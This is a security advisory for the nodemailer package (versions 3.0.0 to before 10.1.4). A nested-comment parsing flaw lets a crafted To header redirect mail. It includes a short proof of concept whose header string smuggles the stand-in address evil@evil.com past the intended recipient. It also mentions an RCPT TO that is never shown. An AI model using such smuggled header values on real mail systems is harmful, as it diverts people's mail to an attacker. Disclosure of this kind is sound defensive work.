Interpretation Conflict Affecting org.webjars.npm:nodemailer package, versions [3.0.0,10.1.4)

org.webjars.npm:nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Interpretation Conflict via the address parser in src/addressparser/index.ts when processing email header values containing nested comments. RFC 5322 §3.2.2 defines comments as nestable, but the tokenizer ends a comment at the first ) encountered, so the ) closing an inner comment prematurely closes the outer one and releases the remaining comment text, including any address it contains, into the parsed header. An attacker can construct a To header such as Victim (x(y) <evil@evil.com>) <v@victim.com> to redirect delivery to evil@evil.com instead of the intended v@victim.com, because the envelope RCPT TO is derived from the same malformed parse.

const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("Victim (x(y) <evil@evil.com>) <v@victim.com>"));
// [ { address: 'evil@evil.com', name: 'Victim) v@victim.com' } ]

Python's email._header_value_parser.get_address_list reads the same value as v@victim.com with the display name Victim, with no defects reported.

The envelope a message gets is built from the same parse, so sendMail({ to: "Victim (x(y) <evil@evil.com>) <v@victim.com>" }) issues the RCPT TO shown above.

Note: The PoC states no specific environment, runtime version, or operating system.

• GitHub Advisory
• GitHub Commit
• GitHub Release